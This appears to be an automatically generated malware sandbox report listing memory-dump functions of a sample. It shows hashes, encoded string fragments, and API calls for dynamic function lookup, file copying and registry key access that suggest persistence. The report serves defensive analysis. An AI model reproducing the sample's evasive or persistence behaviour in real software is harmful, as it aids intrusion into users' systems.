Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: CreateDirectory$ErrorLast$Cpp_errorThrow_std::_$CopyFileFolderPath
String ID: $$)$)#3$)#3;$-'77$.$2$2$2--$5$@$AYEY$AYEY$AYEY$AYEY$AYEY$AYEY$AYEY$AYEY$AYEY$AYEY$CVR$CVR$E$ES_W$E[w[$I$IGHY$IKYS$N$N$PPZ$PQ\]$P\PQ$Q$QRZ4$QRZ4$RFAA$RFAA$RFA[$RL^'$R]ZZ$R]ZZ$R]ZZ$R]ZZ$R]ZZ$T@VA$T@\$TJVP$TJVP$TJVP$TJVP$TJVP$TJVP$TJVP$TJVP$TJVP$TQ\]$T[Q4$UG@$VY^V$WSEL$X$X$X\P[$Xzc{$YQX%$YWA$Z_Y$[$[$[uVK$\RS%$\YZ$\[P$^@J$^@J$^[]$^[]$^[]$^[]$_$_[GQ$_]^]$`GAS$`KHQ$aG[U$aI^,$cOBU$d@IY$dVL_$dal_$iAHUR]ZZ$iO\X$jACT$kB@B$k\JY$l@@^$o5"($oG[S$ol~s$qLFD$qYN\$qYN\]WGG$qYN\]WGG$qYN\]WGG$qb@S$qb@S$qb@S$qb@S$qb@S$qb@S$qb@S$qb@S$qb@S$qb@S$qbJT$qbJT$qc@^$qcZ\$qdNH$qgAT$qgAT$qgAT$qgAT$qgAT$qgAT$qgAT$qgAT$qgAT$qgATTJVPqt$qgATTJVPqt$qiZQ$qiZQ$qkCU$qkCU$qkCU$qkW_$qk[X$qlFD$qlF^$qm@Y$qoZDYK$qo[_$qo]]$qo]]$qyNC$r]AQ$r]ZZ$yK]B$y_A]$y_A]$}\F]
API String ID: 1360662322-3149641792
Opcode ID: 7edb2e875658534fd433208149d91bdf2b0f59d6cc34f838f18bd5bd0081b519
Instruction ID: 87334a1215123db972f8183c453f0540e344de1dfba7864238380935d6b66709
Opcode Fuzzy Hash: 7edb2e875658534fd433208149d91bdf2b0f59d6cc34f838f18bd5bd0081b519
Instruction Fuzzy Hash: 9AB2F170C00288DEDF14DFA8C9597EDBBB4AF56304F24829CE4857B292D7745A89CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 009EC160 Relevance: 147.7, Strings: 116, Instructions: 2710COMMON

Download Yara Rule

Strings

\, xrefs: 009EE1A7
2'1d, xrefs: 009EC9CA
iG\S, xrefs: 009EC1F5
N[M`, xrefs: 009EC717
AGJR, xrefs: 009EDDA5
b^JBP, xrefs: 009EC6D5, 009EC6EC
hMZ2, xrefs: 009ED95A
XG^, xrefs: 009ED19F
\J^, xrefs: 009EE661
yA]S, xrefs: 009EE138
VWYY, xrefs: 009EC280
c_RO, xrefs: 009EDAF9
TXVJ, xrefs: 009EC2F9
nG[B, xrefs: 009EDBDB
EBU, xrefs: 009EC389
[SC, xrefs: 009ECAD1
lCFW, xrefs: 009ED0C2
bGAR, xrefs: 009EDE8F
fABU, xrefs: 009ED6F9
\J^, xrefs: 009ECBBA
XPK, xrefs: 009EC46A
akL%, xrefs: 009EE56A
C]^Q, xrefs: 009EE6D4
qJFC, xrefs: 009EC26E
$$+-, xrefs: 009EC647
$, xrefs: 009EE767
^@Ww, xrefs: 009EC2EF
T, xrefs: 009ED9EA
_[X, xrefs: 009EE5EF
\, xrefs: 009EDD3A
$2&, xrefs: 009ED78B
^@W, xrefs: 009EC1FF
N[M`, xrefs: 009EDC50
W, xrefs: 009ECA51
C]DG, xrefs: 009EE31F
Xm@J, xrefs: 009ED9D6
Obj3, xrefs: 009ED76E
`OWD, xrefs: 009EE405
$, xrefs: 009EC814
6", xrefs: 009EEA5C
(, xrefs: 009EE2B1
K, xrefs: 009EEB43
\J^, xrefs: 009EE39A
nF]_, xrefs: 009EDAE5
E]gU, xrefs: 009ECA47
nF]_\]W[, xrefs: 009EE9A2, 009EE9BF
^JqF, xrefs: 009EEB2D
}, xrefs: 009ED4AF
cK[R, xrefs: 009EEB23
N[M`, xrefs: 009EDFEA
s@\C, xrefs: 009ED455
]VZ, xrefs: 009ED61F
~^ZD, xrefs: 009EE5E5
<, xrefs: 009ECECC
b^JB, xrefs: 009EC5AC
|WW], xrefs: 009ED9E0
(, xrefs: 009ECCD1
iG\S, xrefs: 009EC3E8
hMZ2, xrefs: 009EC7F7
qlND, xrefs: 009ECABF
rNZ2, xrefs: 009EC62A
nF]_\W, xrefs: 009EC7B5, 009EC7CC
hMZ2, xrefs: 009EE74A
nA@G, xrefs: 009EDCC5
\, xrefs: 009ED4D1
Y, xrefs: 009EE13F
{GYQ, xrefs: 009ED615
^, xrefs: 009ED0C9
<39;, xrefs: 009ECEC2
nKAD, xrefs: 009ED44B
o\NFT, xrefs: 009EC981, 009EC993
\WcX, xrefs: 009ED291
nF]_, xrefs: 009ECC25
\, xrefs: 009ED691
tOAT, xrefs: 009ECE27
R]AP, xrefs: 009EC274
nF]_, xrefs: 009ECD35
^@Wd, xrefs: 009EC3F2
n\V@, xrefs: 009ECA3D
b\MY, xrefs: 009EDF6C
~ZJQ, xrefs: 009ECFE3
$0c, xrefs: 009ED77A
ZAD], xrefs: 009EEB39
\[FY, xrefs: 009EDAEF
i\NW, xrefs: 009EE065
, xrefs: 009ED05B
d\FT, xrefs: 009ED195
q}[U, xrefs: 009ECF91
\J^, xrefs: 009EDE1A
nALs, xrefs: 009EE7C3
FSE, xrefs: 009ED45F
nAB_, xrefs: 009EE215
,, xrefs: 009ED211
hJHU, xrefs: 009EC89D, 009EC8AF
qjFC, xrefs: 009EC186
\[FY, xrefs: 009ECC2F
C, xrefs: 009ED37A
nF]_, xrefs: 009ED287
\J^, xrefs: 009EE8FA
\, xrefs: 009ECFEA
R]AP, xrefs: 009EC192
)"6&, xrefs: 009ECEAA
oO[D, xrefs: 009ECB35
JMZ2, xrefs: 009ED8E5
$, xrefs: 009ED977
EG^, xrefs: 009EDF76
nFJT, xrefs: 009ED539
qJFCR]AP, xrefs: 009EC383
cGLX, xrefs: 009EE6CA
cxft, xrefs: 009ECF28
]]], xrefs: 009EE4F6
lZ@], xrefs: 009EEA96
x\N^, xrefs: 009EE888
N[M`, xrefs: 009EEADD
@, xrefs: 009EC303
iG\S, xrefs: 009EC2E5

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID:
String ID: $ 6"$$$$$$$$$+-$$0c$$2&$($($)"6&$,$2'1d$<$<39;$@$AGJR$C$C]DG$C]^Q$EBU$EG^$E]gU$FSE$JMZ2$K$N[M`$N[M`$N[M`$N[M`$Obj3$R]AP$R]AP$T$TXVJ$VWYY$W$XG^$XPK$Xm@J$Y$ZAD]$[SC$\$\$\$\$\$\J^$\J^$\J^$\J^$\J^$\WcX$\[FY$\[FY$]VZ$]]]$^$^@W$^@Wd$^@Ww$^JqF$_[X$`OWD$akL%$bGAR$b\MY$b^JB$b^JBP$cGLX$cK[R$c_RO$cxft$d\FT$fABU$hJHU$hMZ2$hMZ2$hMZ2$iG\S$iG\S$iG\S$i\NW$lCFW$lZ@]$nA@G$nAB_$nALs$nFJT$nF]_$nF]_$nF]_$nF]_$nF]_\W$nF]_\]W[$nG[B$nKAD$n\V@$oO[D$o\NFT$qJFC$qJFCR]AP$qjFC$qlND$q}[U$rNZ2$s@\C$tOAT$x\N^$yA]S${GYQ$|WW]$}$~ZJQ$~^ZD
API String ID: 0-1655495799
Opcode ID: 8c856b64aeb6ace2c7227f57a130fb1ba9466f3ace43a679ed3bba369dbda686
Instruction ID: aa13903cd59d3cc5dba77ff35c002ad8c99becd6da7656d87957be31e223efdc
Opcode Fuzzy Hash: 8c856b64aeb6ace2c7227f57a130fb1ba9466f3ace43a679ed3bba369dbda686
Instruction Fuzzy Hash: 0143A0B0C04669DACF15DFA8C9157EDBBB4AF56304F0082C9E45927282DB751B8ACFD2

Uniqueness

Uniqueness Score: -1.00%

Function 00A21A30 Relevance: 31.7, APIs: 11, Strings: 7, Instructions: 241libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(7861677A,00000000,Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36,0000006F,00000000,?,?,?,?,?,?,00000000,00AB36EC,000000FF), ref: 00A21B16
GetProcAddress.KERNEL32(00000000,?), ref: 00A21B5C
GetProcAddress.KERNEL32(00000000,?), ref: 00A21B96
GetProcAddress.KERNEL32(00000000,zGAxEFCw), ref: 00A21BCE
GetProcAddress.KERNEL32(00000000,?), ref: 00A21C06
GetProcAddress.KERNEL32(00000000,?), ref: 00A21C48
GetProcAddress.KERNEL32(00000000,?), ref: 00A21C79
GetProcAddress.KERNEL32(00000000,?), ref: 00A21CB6
GetProcAddress.KERNEL32(00000000,?), ref: 00A21CE6
GetProcAddress.KERNEL32(00000000,?), ref: 00A21D17
GetProcAddress.KERNEL32(00000000,?), ref: 00A21D48

Strings

zGAx, xrefs: 00A21B1E
, xrefs: 00A21C28
zgax, xrefs: 00A21AE5
ESY, xrefs: 00A21BAD
zGAxEFCw, xrefs: 00A21BC5, 00A21BCC
QZ[, xrefs: 00A21AF5
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36, xrefs: 00A21ACE

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: $ESY$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36$QZ[$zGAx$zGAxEFCw$zgax
API String ID: 667068680-2309192857
Opcode ID: 5bfe30ccb7f64de8e8bed6b59faa94573b381a0f140339808eae1caf2591649a
Instruction ID: ca6ee56a5df0b606376f04117f8d067ed5b0994d9a3b56571aac97e99d1bfe5b
Opcode Fuzzy Hash: 5bfe30ccb7f64de8e8bed6b59faa94573b381a0f140339808eae1caf2591649a
Instruction Fuzzy Hash: BFB1A170C18388CEDB05CFA8E8447EEBBF4EF2D308F14426EE445A6652E774568ACB55

Uniqueness

Uniqueness Score: -1.00%

Function 009B8EE0 Relevance: 25.6, Strings: 19, Instructions: 1809COMMON

Download Yara Rule

Strings

@O][nQ\A[BEQ\I, xrefs: 009B92F1, 009B92FE
IABQX\, xrefs: 009B9C72, 009B9C79
type must be boolean, but is , xrefs: 009BAA17, 009BAA48, 009BAAFE
IABQX\, xrefs: 009B9CA4, 009B9CAB
X\C, xrefs: 009BA316
X\C, xrefs: 009B9FE9
X\C, xrefs: 009BA776
@O][nV\YT_YK, xrefs: 009B9201, 009B920E
X\C, xrefs: 009BA016
,, xrefs: 009B9231
IABQX\, xrefs: 009B9764, 009B976B
X\C, xrefs: 009BA343
., xrefs: 009B9794
,, xrefs: 009B932C
., xrefs: 009B9CD4
X\C, xrefs: 009BA7A3
RL[3, xrefs: 009B9136
IABQX\, xrefs: 009B9732, 009B9739
4, xrefs: 009BA8B0

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID:
String ID: ,$,$.$.$4$@O][nQ\A[BEQ\I$@O][nV\YT_YK$IABQX\$IABQX\$IABQX\$IABQX\$RL[3$X\C$X\C$X\C$X\C$X\C$X\C$type must be boolean, but is
API String ID: 0-2996876817
Opcode ID: ba140983c57bfd4ada84e1fb5466c320233bd4b9f0818362c0d121471e57081d
Instruction ID: c3c5d5008ae14b33bd58d16fdd4e4a4d5881ac477181965cff58edf47236ec10
Opcode Fuzzy Hash: ba140983c57bfd4ada84e1fb5466c320233bd4b9f0818362c0d121471e57081d
Instruction Fuzzy Hash: 3303DE7090429C8FDF25DF68CA58BEDBBB4AF16314F0481C8E44967292DB759E88CF91

Uniqueness

Uniqueness Score: -1.00%

Function 009B6490 Relevance: 23.9, APIs: 3, Strings: 10, Instructions: 1192fileregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 009AB1A0: GetLastError.KERNEL32(?,009FE8D7,?,00000000), ref: 009AB207

CopyFileA.KERNEL32(?,?,00000000), ref: 009B6821
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?), ref: 009B689E
CopyFileA.KERNEL32(?,?,00000000), ref: 009B6C88

Strings

g, xrefs: 009B71C4
B^J^, xrefs: 009B7545, 009B754C
\, xrefs: 009B66B6
\, xrefs: 009B6AF2
/, xrefs: 009B74F5
qwcy, xrefs: 009B65B1
b^JBaKHQ, xrefs: 009B6533
7, xrefs: 009B6868
\, xrefs: 009B69B0
#!:;, xrefs: 009B6857

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: CopyFile$ErrorLastOpen
String ID: #!:;$/$7$B^J^$\$\$\$b^JBaKHQ$g$qwcy
API String ID: 1206503995-245990428
